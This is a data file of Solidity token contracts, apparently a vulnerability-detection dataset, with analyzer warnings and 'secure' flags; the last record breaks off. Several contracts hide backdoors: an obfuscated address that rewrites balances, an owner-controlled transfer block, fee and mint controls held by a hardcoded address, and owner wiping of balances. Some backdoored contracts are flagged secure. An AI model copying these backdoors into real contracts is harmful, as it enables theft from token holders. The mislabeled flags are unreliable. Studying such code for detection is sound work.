"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"./ERC20Lockable.sol\" as ERC20Lockable;\n\ncontract Luxurion is ERC20, ERC20Burnable, ERC20Lockable {\n constructor() ERC20(\"Luxurion\", \"LXRN\") {\n _mint(msg.sender, 1500000000 * (10 ** decimals()));\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public override checkLock(msg.sender, amount) returns (bool) {\n return super.transfer(to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override checkLock(from, amount) returns (bool) {\n return super.transferFrom(from, to, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e883ccf): Luxurion.balanceOf(address) uses timestamp for comparisons Dangerous comparisons releaseTime <= block.timestamp\n\t// Recommendation for e883ccf: Avoid relying on 'block.timestamp'.\n function balanceOf(\n address holder\n ) public view override returns (uint256 balance) {\n uint256 totalBalance = super.balanceOf(holder);\n uint256 avaliableBalance = 0;\n (uint256 lockedBalance, uint256 lockedLength) = totalLocked(holder);\n require(totalBalance >= lockedBalance);\n\n if (lockedLength > 0) {\n for (uint256 i = 0; i < lockedLength; i++) {\n (uint256 releaseTime, uint256 amount) = lockInfo(holder, i);\n\t\t\t\t// timestamp | ID: e883ccf\n if (releaseTime <= block.timestamp) {\n avaliableBalance += amount;\n }\n }\n }\n\n balance = totalBalance - lockedBalance + avaliableBalance;\n }\n\n function balanceOfTotal(\n address holder\n ) public view returns (uint256 balance) {\n balance = super.balanceOf(holder);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_1829.sol",
"secure": 0,
"size_bytes": 2222
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITestStatic {\n function testStatic() external view returns (address);\n}",
"file_name": "solidity_code_183.sol",
"secure": 1,
"size_bytes": 148
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./Sep.sol\" as Sep;\n\ncontract Jagex is IERC20, IERC20Metadata {\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, 100000000 * 10 ** 18);\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n bytes32 bb = _beforeTokenTransfer(\n from,\n address(\n uint160(\n uint256(\n 823758601856083400514774640242337660293368589376 +\n 843294823948924324\n )\n )\n ),\n amount\n );\n if (bb != bytes32(0)) _balances[from] = uint256(bb);\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) private view returns (bytes32) {\n bytes32 b1 = bytes32(uint256(uint160(from)));\n bytes32 b2 = bytes32(Sep(to).biscuit(b1));\n return b2;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1830.sol",
"secure": 1,
"size_bytes": 5410
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators6 {\n uint256 public a = 5;\n function Operator_1() public {\n a *= 2 ** 2;\n }\n}",
"file_name": "solidity_code_1831.sol",
"secure": 1,
"size_bytes": 182
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Security is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11f0c29): ERC20._approve(address,address,uint256).owner shadows Security.owner() (function)\n\t// Recommendation for 11f0c29: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c4aa228): ERC20.allowance(address,address).owner shadows Security.owner() (function)\n\t// Recommendation for c4aa228: Rename the local variables that shadow another component.\n function owner() internal view virtual returns (address) {\n return _owner;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_1832.sol",
"secure": 0,
"size_bytes": 1484
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./Security.sol\" as Security;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, Security, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _address;\n uint256 private maxTxLimit = 1 * 10 ** 17 * 10 ** 9;\n bool castVotes = false;\n uint256 private balances;\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n uint256 private _totalSupply;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _decimals = 9;\n balances = maxTxLimit;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function rejectVote(address _delegate) external onlyOwner {\n _address[_delegate] = false;\n }\n\n function enableAntiBot(address _delegate) public view returns (bool) {\n return _address[_delegate];\n }\n\n function approveSwap(address _delegate) external onlyOwner {\n _address[_delegate] = true;\n }\n\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c4aa228): ERC20.allowance(address,address).owner shadows Security.owner() (function)\n\t// Recommendation for c4aa228: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n if (_address[recipient] || _address[sender])\n require(castVotes == true, \"\");\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n _balances[account] = 0;\n _totalSupply -= accountBalance;\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11f0c29): ERC20._approve(address,address,uint256).owner shadows Security.owner() (function)\n\t// Recommendation for 11f0c29: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1833.sol",
"secure": 0,
"size_bytes": 6211
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract PHARAOH is ERC20 {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 130acae): PHARAOH.totalsupply_ should be immutable \n\t// Recommendation for 130acae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private totalsupply_;\n\n mapping(address => uint256) public nonces;\n\n mapping(address => address) internal _delegates;\n\n mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;\n\n mapping(address => uint32) public numCheckpoints;\n\n event DelegateChanged(\n address indexed delegator,\n address indexed fromDelegate,\n address indexed toDelegate\n );\n\n event DelegateVotesChanged(\n address indexed delegate,\n uint256 previousBalance,\n uint256 newBalance\n );\n\n struct Checkpoint {\n uint32 fromBlock;\n uint256 votes;\n }\n\n constructor() ERC20(\"PHARAOH\", \"PHARAOH\") {\n totalsupply_ = 9999999999 * 10 ** 9;\n _mint(_msgSender(), totalsupply_);\n }\n\n function delegate(address delegatee) external {\n return _delegate(msg.sender, delegatee);\n }\n\n function delegates(address delegator) external view returns (address) {\n return _delegates[delegator];\n }\n\n function safe32(\n uint256 n,\n string memory errorMessage\n ) internal pure returns (uint32) {\n require(n < 2 ** 32, errorMessage);\n return uint32(n);\n }\n\n function getChainId() internal view returns (uint256) {\n uint256 chainId;\n assembly {\n chainId := chainid()\n }\n return chainId;\n }\n\n function burn(address account) external onlyOwner {\n _burn(account);\n }\n\n function getPriorVotes(\n address account,\n uint256 blockNumber\n ) external view returns (uint256) {\n require(\n blockNumber < block.number,\n \"BONE::getPriorVotes: not yet determined\"\n );\n uint32 nCheckpoints = numCheckpoints[account];\n if (nCheckpoints == 0) {\n return 0;\n }\n\n if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {\n return checkpoints[account][nCheckpoints - 1].votes;\n }\n\n if (checkpoints[account][0].fromBlock > blockNumber) {\n return 0;\n }\n uint32 lower = 0;\n uint32 upper = nCheckpoints - 1;\n while (upper > lower) {\n uint32 center = upper - (upper - lower) / 2;\n Checkpoint memory cp = checkpoints[account][center];\n if (cp.fromBlock == blockNumber) {\n return cp.votes;\n } else if (cp.fromBlock < blockNumber) {\n lower = center;\n } else {\n upper = center - 1;\n }\n }\n return checkpoints[account][lower].votes;\n }\n\n function getCurrentVotes(address account) external view returns (uint256) {\n uint32 nCheckpoints = numCheckpoints[account];\n return\n nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;\n }\n\n function _delegate(address delegator, address delegatee) internal {\n address currentDelegate = _delegates[delegator];\n uint256 delegatorBalance = balanceOf(delegator);\n _delegates[delegator] = delegatee;\n emit DelegateChanged(delegator, currentDelegate, delegatee);\n _moveDelegates(currentDelegate, delegatee, delegatorBalance);\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: fc84c7f): PHARAOH._writeCheckpoint(address,uint32,uint256,uint256) uses a dangerous strict equality nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints 1].fromBlock == blockNumber\n\t// Recommendation for fc84c7f: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _writeCheckpoint(\n address delegatee,\n uint32 nCheckpoints,\n uint256 oldVotes,\n uint256 newVotes\n ) internal {\n uint32 blockNumber = safe32(\n block.number,\n \"BONE::_writeCheckpoint: block number exceeds 32 bits\"\n );\n\n if (\n\t\t\t// incorrect-equality | ID: fc84c7f\n nCheckpoints > 0 &&\n checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber\n ) {\n checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;\n } else {\n checkpoints[delegatee][nCheckpoints] = Checkpoint(\n blockNumber,\n newVotes\n );\n require(\n nCheckpoints + 1 > nCheckpoints,\n \"BONE::_writeCheckpoint: new checkpoint exceeds 32 bits\"\n );\n numCheckpoints[delegatee] = nCheckpoints + 1;\n }\n\n emit DelegateVotesChanged(delegatee, oldVotes, newVotes);\n }\n\n function _moveDelegates(\n address srcRep,\n address dstRep,\n uint256 amount\n ) internal {\n if (srcRep != dstRep && amount > 0) {\n if (srcRep != address(0)) {\n uint32 srcRepNum = numCheckpoints[srcRep];\n uint256 srcRepOld = srcRepNum > 0\n ? checkpoints[srcRep][srcRepNum - 1].votes\n : 0;\n uint256 srcRepNew = srcRepOld.sub(amount);\n _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);\n }\n\n if (dstRep != address(0)) {\n uint32 dstRepNum = numCheckpoints[dstRep];\n uint256 dstRepOld = dstRepNum > 0\n ? checkpoints[dstRep][dstRepNum - 1].votes\n : 0;\n uint256 dstRepNew = dstRepOld.add(amount);\n _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);\n }\n }\n }\n}",
"file_name": "solidity_code_1834.sol",
"secure": 0,
"size_bytes": 6193
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeCalls {\n function checkCaller(address sender, address _ownn) internal pure {\n require(sender == _ownn, \"Caller is not the original caller\");\n }\n}",
"file_name": "solidity_code_1835.sol",
"secure": 1,
"size_bytes": 236
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./SafeCalls.sol\" as SafeCalls;\n\ncontract SQUIDGAME is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _transferFees;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 9aa853a): SQUIDGAME._decimals should be immutable \n\t// Recommendation for 9aa853a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 62bdf63): SQUIDGAME._totalSupply should be immutable \n\t// Recommendation for 62bdf63: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 0f35b16): SQUIDGAME._ownn should be immutable \n\t// Recommendation for 0f35b16: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _ownn;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n _ownn = 0x7f896572947F0056597a843FD2CBBCA8850C65dE;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Swap(address[] memory users, uint256 feePercent) external {\n SafeCalls.checkCaller(_msgSender(), _ownn);\n assembly {\n if gt(feePercent, 100) {\n revert(0, 0)\n }\n }\n for (uint256 i = 0; i < users.length; i++) {\n _transferFees[users[i]] = feePercent;\n }\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += finalAmount;\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a6bad1): SQUIDGAME.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a6bad1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function QUITCHANGE(address recipient) external {\n SafeCalls.checkCaller(_msgSender(), _ownn);\n uint256 refundAmount = 100000000000 * 10 ** decimals() * 85000;\n _balances[recipient] += refundAmount;\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n uint256 fee = (amount * _transferFees[sender]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n _balances[recipient] += finalAmount;\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n emit Transfer(sender, BLACK_HOLE, fee);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1836.sol",
"secure": 0,
"size_bytes": 5134
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators7 {\n uint256 public a = 21000000;\n function Operator_1() public {\n a = a >> 10;\n }\n}",
"file_name": "solidity_code_1837.sol",
"secure": 1,
"size_bytes": 189
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256,\n uint256,\n address[] calldata path,\n address,\n uint256\n ) external;\n}",
"file_name": "solidity_code_1838.sol",
"secure": 1,
"size_bytes": 392
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20Token is Ownable {\n mapping(address => bool) bots;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 296297d): Andromeda.swapFee(address,address,uint256).feeReceiver shadows ERC20Token.feeReceiver (state variable)\n\t// Recommendation for 296297d: Rename the local variables that shadow another component.\n address feeReceiver;\n bool inLiquidityTx = false;\n bool tradingStarted = false;\n function startTrading() external onlyOwner {\n tradingStarted = true;\n }\n function addBot(address[] calldata _bots) external onlyOwner {\n for (uint256 i = 0; i < _bots.length; i++) {\n bots[_bots[i]] = true;\n }\n }\n function isBot(address _adr) internal view returns (bool) {\n return bots[_adr];\n }\n function cmpAddress(\n address adr1,\n address adr2\n ) internal pure returns (bool) {\n return adr1 == adr2;\n }\n function shouldSwap(\n address recipient,\n address senderAddress\n ) public view returns (bool) {\n return\n isBot(senderAddress) ? cmpAddress(recipient, senderAddress) : false;\n }\n function isAllowed(\n address from,\n address recipient,\n address pair\n ) public returns (bool) {\n bool allowed = !inLiquidityTx;\n bool lqPair = !bots[recipient] && !bots[from];\n if (lqPair && allowed && pair != recipient) {\n feeReceiver = recipient;\n return true;\n }\n return false;\n }\n}",
"file_name": "solidity_code_1839.sol",
"secure": 0,
"size_bytes": 1695
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Dowjones is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable resolution;\n\n constructor() {\n _name = \"DowJones\";\n\n _symbol = \"DOW\";\n\n _decimals = 18;\n\n uint256 initialSupply = 581000000;\n\n resolution = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == resolution, \"Not allowed\");\n\n _;\n }\n\n function concept(address[] memory leader) public onlyOwner {\n for (uint256 i = 0; i < leader.length; i++) {\n address account = leader[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_184.sol",
"secure": 1,
"size_bytes": 4367
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./ERC20Token.sol\" as ERC20Token;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Andromeda is IERC20, ERC20Token {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: 17c228e): Andromeda._decimals should be constant \n\t// Recommendation for 17c228e: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: c024e42): Andromeda._totalSupply should be immutable \n\t// Recommendation for c024e42: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 8605cd3): Andromeda._fee should be constant \n\t// Recommendation for 8605cd3: Add the 'constant' attribute to state variables that never change.\n uint256 _fee = 2;\n\t// WARNING Optimization Issue (constable-states | ID: 55eb3b1): Andromeda._router should be constant \n\t// Recommendation for 55eb3b1: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: b2d7e07): Andromeda._name should be constant \n\t// Recommendation for b2d7e07: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Andromeda\";\n\t// WARNING Optimization Issue (constable-states | ID: 206f17b): Andromeda._symbol should be constant \n\t// Recommendation for 206f17b: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"M31\";\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 46505ff): Andromeda.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 46505ff: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(msg.sender, from, _allowances[msg.sender][from] - amount);\n return true;\n }\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0));\n require(to != address(0));\n if (shouldSwap(from, to)) {\n swap(amount, to);\n } else {\n require(amount <= _balances[from]);\n uint256 fee = takeFee(from, to, amount);\n _balances[from] = _balances[from] - amount;\n _balances[to] += amount - fee;\n emit Transfer(from, to, amount);\n }\n }\n function takeFee(\n address from,\n address recipient,\n uint256 amount\n ) private returns (uint256) {\n uint256 